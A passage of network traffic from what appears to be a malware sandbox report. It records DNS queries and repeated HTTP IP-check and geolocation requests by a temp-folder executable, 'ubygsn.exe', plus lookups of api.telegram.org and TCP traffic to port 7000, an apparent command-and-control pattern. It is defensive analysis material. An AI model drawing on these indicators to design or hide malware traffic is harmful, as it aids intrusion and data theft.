Dec 5, 2024 14:03:40.817770958 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:40.937804937 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:41.041428089 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:41.161535025 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:41.201817989 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:41.321660042 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:44.077037096 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:44.180591106 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:45.733788967 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:45.853848934 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:46.598398924 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:46.718282938 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:52.638694048 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:52.758487940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:52.958673000 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:53.078471899 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:55.748756886 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:55.868866920 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:55.954101086 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:56.073947906 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:56.798435926 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:56.918226004 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:56.918345928 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:57.038043022 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:57.420348883 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:57.543128014 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:57.547702074 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:57.667702913 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:58.684469938 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:58.808314085 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:12.955809116 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:13.075839043 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:14.079092026 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:14.276144981 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:14.729374886 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:14.850872040 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:14.850918055 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:14.972009897 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:17.139781952 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:17.259691954 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:17.357409954 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:17.477641106 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:17.479417086 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:17.599498987 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:18.606086016 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:18.726334095 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:19.234065056 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:19.354028940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:20.823846102 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:20.943851948 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:24.663855076 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:24.783734083 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:24.929562092 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:25.049367905 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:25.049417019 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:25.169234991 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:25.169286013 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:25.289868116 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:26.799036026 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:26.919116974 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:27.535626888 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:27.655644894 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:30.615714073 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:30.735619068 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:32.670639038 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:32.790791988 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:33.245316029 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:33.365350962 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:34.227114916 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:34.347553968 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:37.390542030 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:37.510474920 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:37.510524035 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:37.630327940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:44.905427933 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:45.086924076 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:45.400897026 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:45.521846056 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:50.777234077 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:50.898093939 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:50.902590036 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:51.022404909 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:04:51.577476978 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:04:51.697675943 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:00.345809937 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:05:00.465729952 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:02.968354940 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:05:03.088347912 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:03.088402987 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:05:03.208333015 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:03.208388090 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:05:03.328227043 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:03.328280926 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:05:03.448771954 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:07.410886049 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:05:07.530956030 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:08.854706049 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:05:08.974658012 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:09.098608971 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:05:09.219199896 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:09.469403028 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:05:09.589353085 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:14.081943035 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:05:14.180721045 CET	49734	7000	192.168.2.6	69.174.100.131

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 14:01:32.641680956 CET	49187	53	192.168.2.6	1.1.1.1
Dec 5, 2024 14:01:32.780523062 CET	53	49187	1.1.1.1	192.168.2.6
Dec 5, 2024 14:01:36.076131105 CET	55481	53	192.168.2.6	1.1.1.1
Dec 5, 2024 14:01:36.215203047 CET	53	55481	1.1.1.1	192.168.2.6
Dec 5, 2024 14:01:48.070749998 CET	61167	53	192.168.2.6	1.1.1.1
Dec 5, 2024 14:02:03.017189026 CET	59250	53	192.168.2.6	1.1.1.1
Dec 5, 2024 14:02:03.154803991 CET	53	59250	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2024 14:01:32.641680956 CET	192.168.2.6	1.1.1.1	0x400b	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:36.076131105 CET	192.168.2.6	1.1.1.1	0x7b3	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:48.070749998 CET	192.168.2.6	1.1.1.1	0x6fbc	Standard query (0)	tse1.mm.bing.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:02:03.017189026 CET	192.168.2.6	1.1.1.1	0x7e08	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 5, 2024 14:01:04.367327929 CET	1.1.1.1	192.168.2.6	0x5ccd	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 14:01:04.367327929 CET	1.1.1.1	192.168.2.6	0x5ccd	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:06.685448885 CET	1.1.1.1	192.168.2.6	0xb396	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:06.685448885 CET	1.1.1.1	192.168.2.6	0xb396	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:14.909019947 CET	1.1.1.1	192.168.2.6	0xe7d0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 14:01:14.909019947 CET	1.1.1.1	192.168.2.6	0xe7d0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:24.643769026 CET	1.1.1.1	192.168.2.6	0x998a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 14:01:24.643769026 CET	1.1.1.1	192.168.2.6	0x998a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:32.780523062 CET	1.1.1.1	192.168.2.6	0x400b	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 14:01:32.780523062 CET	1.1.1.1	192.168.2.6	0x400b	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:32.780523062 CET	1.1.1.1	192.168.2.6	0x400b	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:32.780523062 CET	1.1.1.1	192.168.2.6	0x400b	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:32.780523062 CET	1.1.1.1	192.168.2.6	0x400b	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:32.780523062 CET	1.1.1.1	192.168.2.6	0x400b	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:36.215203047 CET	1.1.1.1	192.168.2.6	0x7b3	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:36.215203047 CET	1.1.1.1	192.168.2.6	0x7b3	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:48.208642006 CET	1.1.1.1	192.168.2.6	0x6fbc	No error (0)	tse1.mm.bing.net	mm-mm.bing.net.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 14:01:48.208642006 CET	1.1.1.1	192.168.2.6	0x6fbc	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:01:48.208642006 CET	1.1.1.1	192.168.2.6	0x6fbc	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:02:03.154803991 CET	1.1.1.1	192.168.2.6	0x7e08	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:02:20.848213911 CET	1.1.1.1	192.168.2.6	0xed78	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 14:02:20.848213911 CET	1.1.1.1	192.168.2.6	0xed78	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 5, 2024 14:02:20.848213911 CET	1.1.1.1	192.168.2.6	0xed78	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49755	158.101.44.242	80	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 14:01:32.913115025 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 5, 2024 14:01:34.117794037 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:33 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 364a76cf2ef6421ce78135ae9eba9ec4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 5, 2024 14:01:34.218883991 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 5, 2024 14:01:36.011405945 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 82db562368853b3b7358a1a034bc16eb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 5, 2024 14:01:38.295013905 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 5, 2024 14:01:38.668951988 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cb34762e63eb5a8c420db3beba9d6cb2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49778	158.101.44.242	80	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 14:01:40.504940033 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 5, 2024 14:01:41.708549976 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 24757acc46433c2f3f913d1804988006 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49789	158.101.44.242	80	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 14:01:43.575370073 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 5, 2024 14:01:45.109371901 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 684fb20d6af474e222b10682350d20e9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 5, 2024 14:01:45.203880072 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 684fb20d6af474e222b10682350d20e9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49799	158.101.44.242	80	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 14:01:46.982712984 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 5, 2024 14:01:48.162456989 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:47 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cc5457d6449cc247d5d073845f097438 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49815	158.101.44.242	80	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 14:01:50.053632021 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 5, 2024 14:01:51.249475956 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:51 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6320fd54b007674a58437c8437dd19ad Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49826	158.101.44.242	80	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 14:01:53.067910910 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 5, 2024 14:01:54.271179914 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a426ccea3eed3b2e42dfe7f9c715232c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49840	158.101.44.242	80	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 14:01:56.058373928 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 5, 2024 14:01:57.261307001 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:01:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 59f1b9998672837d10dd1ddd8abf0259 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49852	158.101.44.242	80	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 14:01:59.128257036 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 5, 2024 14:02:01.033003092 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 13:02:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 38eab3d315841d0b9efc4cc62b31bd83 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49765	104.21.67.152	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:01:37 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
